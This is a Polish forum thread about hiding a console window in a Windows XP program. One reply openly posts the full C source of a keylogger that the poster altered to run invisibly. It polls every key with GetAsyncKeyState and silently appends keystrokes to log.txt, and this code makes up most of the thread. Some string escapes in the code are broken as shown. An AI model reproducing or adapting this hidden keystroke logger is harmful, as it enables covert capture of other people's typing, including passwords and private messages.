Jak ukryć okno DOS-a??

mike512

Użytkownik
Dołączył
Styczeń 18, 2006
Posty
25
Piszę program, który tworzy okno wiersza poleceń (w Win XP) i mam pytanie: jak napisać program tak, zeby nie tworzyl okna, i jednocześnie żeby reagowal na wszystkie polecenia wysyłane przez system?
Dodam jeszcze, że korzystam z kompilatora Dev C++ 4.9.9.2. Pozdrawiam.
 

killrathi

Użytkownik
Dołączył
Marzec 13, 2006
Posty
117
no coz, na wstepie to polece ci zapoznanie sie z WinApi.
Aby okno zostalo ukryte mozesz uzyc funkcji WinApi ShowWindow z parametrem SW_HIDE, natomiast przechwytywanie polecen systemowych to juz inna bajka (opisanie problemu zajeloby niezla ksiazke). Na poczatku pocwicz przechwytywanie polecen poszczegolnego programu (np. Winamp - niezle opisany). Warunkiem jest pobranie uchwytu zarowno do okna plikacji jak i poszczegolnych komponentow. Jednym slowem, jezeli jestes poczatkujacy to daj sobie z tym spokoj.
 

mrh666

Użytkownik
Dołączył
Kwiecień 30, 2006
Posty
4
w inym temacie juz ci na to odpowiedziałem sory dla modow ze sie powtarzam ;]
taki najprostrzy keyloger z jakiegos toturiala pzrerobiłem zeby go nie było widac
mam pytanie do przedmowcy czy da sie odbierac sygnały od myszy bez zadnych uchwytow ?
Kod:
#include <windows.h>

#include <iostream>



int WINAPI WinMain (HINSTANCE hThisInstance,

                    HINSTANCE hPrevInstance,

                    LPSTR lpszArgument,

                    int nFunsterStil)

{

    MSG messages;

    MSG msgKomunikat;

    msgKomunikat.message = WM_NULL;

    while (msgKomunikat.message != WM_QUIT)

    {

        if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))

        {

                TranslateMessage (&msgKomunikat);

                DispatchMessage (&msgKomunikat);

        }

    else

    {

    short character;

         for(character=8;character<=222;character++)

         {

         if(GetAsyncKeyState(character)==-32767)

         {

         FILE *file;

         if(file=fopen("log.txt","a+"))

         {

         if((character>=39)&&(character<=64))

         {

         fputc(character,file);

         fclose(file);

         break;

         }

         else if((character>64)&&(character<91))

         {

         character+=32;

         fputc(character,file);

         fclose(file);

         break;

         }

         else

         {

         //rozpoznajemy, który klawisz został wciśnięty

         switch(character)

         {

         case VK_SPACE:

         fputc(' ',file);

         fclose(file);

         break;

         case VK_SHIFT:

         fputs("[SHIFT]",file);

         fclose(file);

         break;

         case VK_RETURN:

         fputs("n[ENTER]",file);

         fclose(file);

         break;

         case VK_BACK:

         fputs("[BACKSPACE]",file);

         fclose(file);

         break;

         case VK_TAB:

         fputs("[TAB]",file);

         fclose(file);

         break;

         case VK_CONTROL:

         fputs("[CTRL]",file);

         fclose(file);

         break;

         case VK_DELETE:

         fputs("[ DEL]",file);

         fclose(file);

         break;

         case VK_OEM_1:

         fputs("[;:]",file);

         fclose(file);

         break;

         case VK_OEM_2:

         fputs("[/?]",file);

         fclose(file);

         break;

         case VK_OEM_3:

         fputs("[`~]",file);

         fclose(file);

         break;

         case VK_OEM_4:

         fputs("[ [{ ]",file);

         fclose(file);

         break;

         case VK_OEM_5:

         fputs("[|]",file);

         fclose(file);

         break;

         case VK_OEM_6:

         fputs("[ ]} ]",file);

         fclose(file);

         break;

         case VK_OEM_7:

         fputs("['"]",file);

         fclose(file);

         break;

         case VK_NUMPAD0:

         fputc('0',file);

         fclose(file);

         break;

         case VK_NUMPAD1:

         fputc('1',file);

         fclose(file);

         break;

         case VK_NUMPAD2:

         fputc('2',file);

         fclose(file);

         break;

         case VK_NUMPAD3:

         fputc('3',file);

         fclose(file);

         break;

         case VK_NUMPAD4:

         fputc('4',file);

         fclose(file);

         break;

         case VK_NUMPAD5:

         fputc('5',file);

         fclose(file);

         break;

         case VK_NUMPAD6:

         fputc('6',file);

         fclose(file);

         break;

         case VK_NUMPAD7:

         fputc('7',file);

         fclose(file);

         break;

         case VK_NUMPAD8:

         fputc('8',file);

         fclose(file);

         break;

         case VK_NUMPAD9:

         fputc('9',file);

         fclose(file);

         break;

         case VK_CAPITAL:

         fputs("[CAPS LOCK]",file);

         fclose(file);

         break;

         default:

         fclose(file);

         break;

         }

         }

         }

         }

       } 

}

}

    /* The program return-value is 0 - The value that PostQuitMessage() gave */

    return messages.wParam;

}

/*  This function is called by the Windows function DispatchMessage()  */



LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

{

    switch (message)                  /* handle the messages */

    {

        case WM_DESTROY:

            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */

            break;

        default:                   /* for messages that we don't deal with */

            return DefWindowProc (hwnd, message, wParam, lParam);

    }



    return 0;

}
 
Do góry Bottom